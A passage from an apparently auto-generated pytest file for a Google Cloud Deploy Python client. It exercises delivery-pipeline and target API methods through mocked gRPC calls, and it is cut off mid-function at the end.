client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.CreateDeliveryPipelineRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_delivery_pipeline), "__call__"
) as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.create_delivery_pipeline(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_delivery_pipeline_field_headers_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.CreateDeliveryPipelineRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_delivery_pipeline), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.create_delivery_pipeline(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_create_delivery_pipeline_flattened():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_delivery_pipeline), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_delivery_pipeline(
parent="parent_value",
delivery_pipeline=cloud_deploy.DeliveryPipeline(name="name_value"),
delivery_pipeline_id="delivery_pipeline_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].delivery_pipeline
mock_val = cloud_deploy.DeliveryPipeline(name="name_value")
assert arg == mock_val
arg = args[0].delivery_pipeline_id
mock_val = "delivery_pipeline_id_value"
assert arg == mock_val
def test_create_delivery_pipeline_flattened_error():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_delivery_pipeline(
cloud_deploy.CreateDeliveryPipelineRequest(),
parent="parent_value",
delivery_pipeline=cloud_deploy.DeliveryPipeline(name="name_value"),
delivery_pipeline_id="delivery_pipeline_id_value",
)
@pytest.mark.asyncio
async def test_create_delivery_pipeline_flattened_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_delivery_pipeline), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_delivery_pipeline(
parent="parent_value",
delivery_pipeline=cloud_deploy.DeliveryPipeline(name="name_value"),
delivery_pipeline_id="delivery_pipeline_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].delivery_pipeline
mock_val = cloud_deploy.DeliveryPipeline(name="name_value")
assert arg == mock_val
arg = args[0].delivery_pipeline_id
mock_val = "delivery_pipeline_id_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_create_delivery_pipeline_flattened_error_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_delivery_pipeline(
cloud_deploy.CreateDeliveryPipelineRequest(),
parent="parent_value",
delivery_pipeline=cloud_deploy.DeliveryPipeline(name="name_value"),
delivery_pipeline_id="delivery_pipeline_id_value",
)
@pytest.mark.parametrize(
"request_type", [cloud_deploy.UpdateDeliveryPipelineRequest, dict,]
)
def test_update_delivery_pipeline(request_type, transport: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_delivery_pipeline), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.update_delivery_pipeline(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.UpdateDeliveryPipelineRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_update_delivery_pipeline_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_delivery_pipeline), "__call__"
) as call:
client.update_delivery_pipeline()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.UpdateDeliveryPipelineRequest()
@pytest.mark.asyncio
async def test_update_delivery_pipeline_async(
transport: str = "grpc_asyncio",
request_type=cloud_deploy.UpdateDeliveryPipelineRequest,
):
client = CloudDeployAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_delivery_pipeline), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.update_delivery_pipeline(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.UpdateDeliveryPipelineRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_update_delivery_pipeline_async_from_dict():
await test_update_delivery_pipeline_async(request_type=dict)
def test_update_delivery_pipeline_field_headers():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.UpdateDeliveryPipelineRequest()
request.delivery_pipeline.name = "delivery_pipeline.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_delivery_pipeline), "__call__"
) as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.update_delivery_pipeline(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"delivery_pipeline.name=delivery_pipeline.name/value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_delivery_pipeline_field_headers_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.UpdateDeliveryPipelineRequest()
request.delivery_pipeline.name = "delivery_pipeline.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_delivery_pipeline), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.update_delivery_pipeline(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"delivery_pipeline.name=delivery_pipeline.name/value",
) in kw["metadata"]
def test_update_delivery_pipeline_flattened():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_delivery_pipeline), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_delivery_pipeline(
delivery_pipeline=cloud_deploy.DeliveryPipeline(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].delivery_pipeline
mock_val = cloud_deploy.DeliveryPipeline(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
def test_update_delivery_pipeline_flattened_error():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_delivery_pipeline(
cloud_deploy.UpdateDeliveryPipelineRequest(),
delivery_pipeline=cloud_deploy.DeliveryPipeline(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_delivery_pipeline_flattened_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_delivery_pipeline), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_delivery_pipeline(
delivery_pipeline=cloud_deploy.DeliveryPipeline(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].delivery_pipeline
mock_val = cloud_deploy.DeliveryPipeline(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
@pytest.mark.asyncio
async def test_update_delivery_pipeline_flattened_error_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_delivery_pipeline(
cloud_deploy.UpdateDeliveryPipelineRequest(),
delivery_pipeline=cloud_deploy.DeliveryPipeline(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.parametrize(
"request_type", [cloud_deploy.DeleteDeliveryPipelineRequest, dict,]
)
def test_delete_delivery_pipeline(request_type, transport: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_delivery_pipeline), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.delete_delivery_pipeline(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.DeleteDeliveryPipelineRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_delete_delivery_pipeline_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_delivery_pipeline), "__call__"
) as call:
client.delete_delivery_pipeline()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.DeleteDeliveryPipelineRequest()
@pytest.mark.asyncio
async def test_delete_delivery_pipeline_async(
transport: str = "grpc_asyncio",
request_type=cloud_deploy.DeleteDeliveryPipelineRequest,
):
client = CloudDeployAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_delivery_pipeline), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.delete_delivery_pipeline(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.DeleteDeliveryPipelineRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_delete_delivery_pipeline_async_from_dict():
await test_delete_delivery_pipeline_async(request_type=dict)
def test_delete_delivery_pipeline_field_headers():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.DeleteDeliveryPipelineRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_delivery_pipeline), "__call__"
) as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.delete_delivery_pipeline(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_delivery_pipeline_field_headers_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.DeleteDeliveryPipelineRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_delivery_pipeline), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.delete_delivery_pipeline(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_delete_delivery_pipeline_flattened():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_delivery_pipeline), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_delivery_pipeline(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_delete_delivery_pipeline_flattened_error():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_delivery_pipeline(
cloud_deploy.DeleteDeliveryPipelineRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_delete_delivery_pipeline_flattened_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_delivery_pipeline), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_delivery_pipeline(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_delete_delivery_pipeline_flattened_error_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_delivery_pipeline(
cloud_deploy.DeleteDeliveryPipelineRequest(), name="name_value",
)
@pytest.mark.parametrize("request_type", [cloud_deploy.ListTargetsRequest, dict,])
def test_list_targets(request_type, transport: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_targets), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.ListTargetsResponse(
next_page_token="next_page_token_value", unreachable=["unreachable_value"],
)
response = client.list_targets(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.ListTargetsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListTargetsPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable == ["unreachable_value"]
def test_list_targets_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_targets), "__call__") as call:
client.list_targets()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.ListTargetsRequest()
@pytest.mark.asyncio
async def test_list_targets_async(
transport: str = "grpc_asyncio", request_type=cloud_deploy.ListTargetsRequest
):
client = CloudDeployAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_targets), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.ListTargetsResponse(
next_page_token="next_page_token_value",
unreachable=["unreachable_value"],
)
)
response = await client.list_targets(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.ListTargetsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListTargetsAsyncPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable == ["unreachable_value"]
@pytest.mark.asyncio
async def test_list_targets_async_from_dict():
await test_list_targets_async(request_type=dict)
def test_list_targets_field_headers():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.ListTargetsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_targets), "__call__") as call:
call.return_value = cloud_deploy.ListTargetsResponse()
client.list_targets(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_targets_field_headers_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.ListTargetsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_targets), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.ListTargetsResponse()
)
await client.list_targets(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_targets_flattened():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_targets), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.ListTargetsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_targets(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
def test_list_targets_flattened_error():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_targets(
cloud_deploy.ListTargetsRequest(), parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_targets_flattened_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_targets), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.ListTargetsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.ListTargetsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_targets(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_list_targets_flattened_error_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_targets(
cloud_deploy.ListTargetsRequest(), parent="parent_value",
)
def test_list_targets_pager(transport_name: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials, transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_targets), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
cloud_deploy.ListTargetsResponse(
targets=[
cloud_deploy.Target(),
cloud_deploy.Target(),
cloud_deploy.Target(),
],
next_page_token="abc",
),
cloud_deploy.ListTargetsResponse(targets=[], next_page_token="def",),
cloud_deploy.ListTargetsResponse(
targets=[cloud_deploy.Target(),], next_page_token="ghi",
),
cloud_deploy.ListTargetsResponse(
targets=[cloud_deploy.Target(), cloud_deploy.Target(),],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_targets(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, cloud_deploy.Target) for i in results)
def test_list_targets_pages(transport_name: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials, transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_targets), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
cloud_deploy.ListTargetsResponse(
targets=[
cloud_deploy.Target(),
cloud_deploy.Target(),
cloud_deploy.Target(),
],
next_page_token="abc",
),
cloud_deploy.ListTargetsResponse(targets=[], next_page_token="def",),
cloud_deploy.ListTargetsResponse(
targets=[cloud_deploy.Target(),], next_page_token="ghi",
),
cloud_deploy.ListTargetsResponse(
targets=[cloud_deploy.Target(), cloud_deploy.Target(),],
),
RuntimeError,
)
pages = list(client.list_targets(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_targets_async_pager():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_targets), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
cloud_deploy.ListTargetsResponse(
targets=[
cloud_deploy.Target(),
cloud_deploy.Target(),
cloud_deploy.Target(),
],
next_page_token="abc",
),
cloud_deploy.ListTargetsResponse(targets=[], next_page_token="def",),
cloud_deploy.ListTargetsResponse(
targets=[cloud_deploy.Target(),], next_page_token="ghi",
),
cloud_deploy.ListTargetsResponse(
targets=[cloud_deploy.Target(), cloud_deploy.Target(),],
),
RuntimeError,
)
async_pager = await client.list_targets(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, cloud_deploy.Target) for i in responses)
@pytest.mark.asyncio
async def test_list_targets_async_pages():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_targets), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
cloud_deploy.ListTargetsResponse(
targets=[
cloud_deploy.Target(),
cloud_deploy.Target(),
cloud_deploy.Target(),
],
next_page_token="abc",
),
cloud_deploy.ListTargetsResponse(targets=[], next_page_token="def",),
cloud_deploy.ListTargetsResponse(
targets=[cloud_deploy.Target(),], next_page_token="ghi",
),
cloud_deploy.ListTargetsResponse(
targets=[cloud_deploy.Target(), cloud_deploy.Target(),],
),
RuntimeError,
)
pages = []
async for page_ in (await client.list_targets(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.parametrize("request_type", [cloud_deploy.GetTargetRequest, dict,])
def test_get_target(request_type, transport: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_target), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.Target(
name="name_value",
target_id="target_id_value",
uid="uid_value",
description="description_value",
require_approval=True,
etag="etag_value",
gke=cloud_deploy.GkeCluster(cluster="cluster_value"),
)
response = client.get_target(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.GetTargetRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, cloud_deploy.Target)
assert response.name == "name_value"
assert response.target_id == "target_id_value"
assert response.uid == "uid_value"
assert response.description == "description_value"
assert response.require_approval is True
assert response.etag == "etag_value"
def test_get_target_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_target), "__call__") as call:
client.get_target()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.GetTargetRequest()
@pytest.mark.asyncio
async def test_get_target_async(
transport: str = "grpc_asyncio", request_type=cloud_deploy.GetTargetRequest
):
client = CloudDeployAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_target), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.Target(
name="name_value",
target_id="target_id_value",
uid="uid_value",
description="description_value",
require_approval=True,
etag="etag_value",
)
)
response = await client.get_target(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.GetTargetRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, cloud_deploy.Target)
assert response.name == "name_value"
assert response.target_id == "target_id_value"
assert response.uid == "uid_value"
assert response.description == "description_value"
assert response.require_approval is True
assert response.etag == "etag_value"
@pytest.mark.asyncio
async def test_get_target_async_from_dict():
await test_get_target_async(request_type=dict)
def test_get_target_field_headers():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.GetTargetRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_target), "__call__") as call:
call.return_value = cloud_deploy.Target()
client.get_target(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_target_field_headers_async():
